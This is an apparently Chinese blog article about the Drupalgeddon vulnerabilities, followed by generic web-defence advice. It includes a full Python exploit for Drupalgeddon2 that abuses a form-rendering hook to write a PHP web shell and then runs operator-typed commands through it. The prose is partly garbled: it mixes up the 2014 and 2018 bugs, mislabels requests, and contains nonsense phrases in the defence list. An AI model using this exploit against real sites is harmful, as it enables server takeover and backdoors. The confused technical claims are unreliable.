Drupalgeddon漏洞防范与cc网页端

发布时间:2023-06-21 12:09:03

28943959e42a3cfb7892208f8254ade3_sz-1187564.gif


一个非常严重的Drupal漏洞,能够让攻击者执行任意代码并完全控制服务器。






Drupalgeddon漏洞是一个非常严重的漏洞,它存在于Drupal CMS的7.x和8.x版本中。它是一个远程执行代码漏洞,攻击者可以利用此漏洞在受感染的网站上执行恶意代码。


漏洞的原因是因为Drupal在特定情况下没有正确地过滤用户提交的数据导致代码注入问题。攻击者可以发送特定的HTTP请求来利用这个漏洞,然后他们可以使用此漏洞来获取管理员权限,访问敏感数据,或者在受感染的网站上安装后门程序。


在2018年3月28日,Drupal官方发布了一个警告,强烈建议网站管理员在72小时内立即升级到最新版本,以避免受到Drupalgeddon2的攻击。


以下是关于Drupalgeddon漏洞的一些链接:


1. 官方Drupalgeddon漏洞公告 - https://www.drupal.org/SA-CORE-2018-002


2. 知名黑客组织公布Drupalgeddon2漏洞细节 - https://thehackernews.com/2018/04/drupalgeddon2-exploit-code.html


3. Drupalgeddon2漏洞详细信息 - https://www.exploit-db.com/exploits/44284


代码示例:


以下是Drupalgeddon2的Python代码漏洞示例:


```python

import requests


url = "http://target_site.com"

path = "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"


# 填充攻击载荷

payload = {

  "form_id": "user_register_form",

  "_drupal_ajax": "1",

  "mail[#post_render][]": "exec",

  "mail[#type]": "markup",

  "mail[#markup]": "echo '<?php eval($_POST[\"cmd\"]); ?>' > a.php"

}


# 发送get请求,表明注册一个新帐户

r = requests.post(url+path, data=payload)


# 发送post请求,从a.php中执行系统命令

while True:

  cmd = input("Enter the command to execute: ")

  r = requests.get(url+"/a.php", params={"cmd": cmd})

  print(r.text)

```

一、 Drupalgeddon漏洞简介


Drupalgeddon是指Drupal在2014年10月被曝出的一个高危漏洞。该漏洞的版本包括Drupal 7.x和6.x。该漏洞源于Drupal的SA-CORE-2014-005安全补丁中对用户输入sanitization(过程是将用户输入去掉那些不该出现的内容,如HTML、CSS和JavaScript等)的不充分处理,使得攻击者可以通过在用户注册、评论、邮件或内容上传等位置中构造恶意代码来注入执行任意代码的PHP脚本,从而远程获取系统权限,进行任意操作,甚至勒索攻击。这种攻击方式被称为远程代码执行(RCE),究其原因是由于Drupal在处理用户输入时未做严格的过滤和转义。


Drupalgeddon漏洞的威胁可归纳为以下几个方面:


1. 系统代码执行。攻击者利用该漏洞可以实现执行任意PHP代码的目的,从而获取系统权限,进行一系列破坏操作。


2. 远程调用shell。攻击者可以通过利用该漏洞来远程调用目标服务器上的shell,从而掌控服务器。


3. 勒索攻击。攻击者通过此漏洞可以获取用户数据等敏感信息,进行勒索。


由于该漏洞涉及到Drupal的核心模块,影响广泛,而且已被国内外各种攻击工具集成和利用,因此Drupalgeddon漏洞一直备受关注。


二、 Drupalgeddon漏洞防御


Drupalgeddon漏洞的漏洞修复版本在发布之后很快得到了大规模应用和推广,目前Drupal 7.x和6.x均已发布了修补补丁和更新版本,并在其官网中发布了补丁的下载和更新说明。因此,在使用Drupal的网站中,及时修复和更新Drupal版本和补丁显得尤为重要。


除此之外,还有以下几种防御措施:


1. 程序或脚本的限制。可以通过禁用存在风险的模块以限制程序的行为。另外,还可以通过禁用匿名用户的内容上传功能和限定文件上传类型等措施来避免攻击。


2. 数据过滤和转义。对用户提交的数据进行过滤和转义,从而排除存在风险的字符和代码,以防止攻击者利用注入漏洞进行攻击。


3. 限定文件访问权限。将敏感文件或目录设为不可读、不可写、不可执行状态,以避免攻击者进行攻击和窃取敏感信息。


4. 加强网络防护。通过网络入侵监控、加强网络安全检查等措施来防止攻击者利用漏洞进行攻击。


三、 cc网页端漏洞防御


cc网页端也常常受到多种攻击,如DDoS攻击、SQL注入攻击、XSS攻击等。由此我们可以看到,cc网页端的安全问题也尤为严重。有关cc网页端的漏洞防御主要包括以下方面:


1. 有效的防火墙。cc网页端需要一个可以提供全面保护的防火墙。这样可以过滤掉对您应用程序攻击的所有非法传入信息。


2. 禁用错误信息。在用户提交无效数据时,应用程序应该将其重定向到新的页面而不是显示给用户任何错误信息。


3. 执行严格的输入检查。您需要执行各种输入检查,例如军检路由器、过滤标签、字符和ISO西欧IAN字符等。此外,您还应该执行大量数据验证。


4. 加强密码强度。密码应具有足够的强度以防止黑客使用暴力破解攻击。建议使用至少8个字符组成的密码包括数字,字符和大小写字母。


5. 不要显示详细的错误信息。下面的错误信息是很明显的宝贵错误信息,可以让攻击者走得更远。


6. 不记录敏感信息。如果可行,应尽可能减少应用程序记录的敏感信息。


7. 对敏感数据加密处理。所有敏感数据都应该加密。加密可以保护数据,使其无法通过其他人读取。


8. 定期应用补丁。定期更新应用程序和操作系统补丁。 这有助于修复未知漏洞,并确保您具有安全的核心文件。









// 2023 




如果内容触犯到您,请联系我@xkdip

TAGS: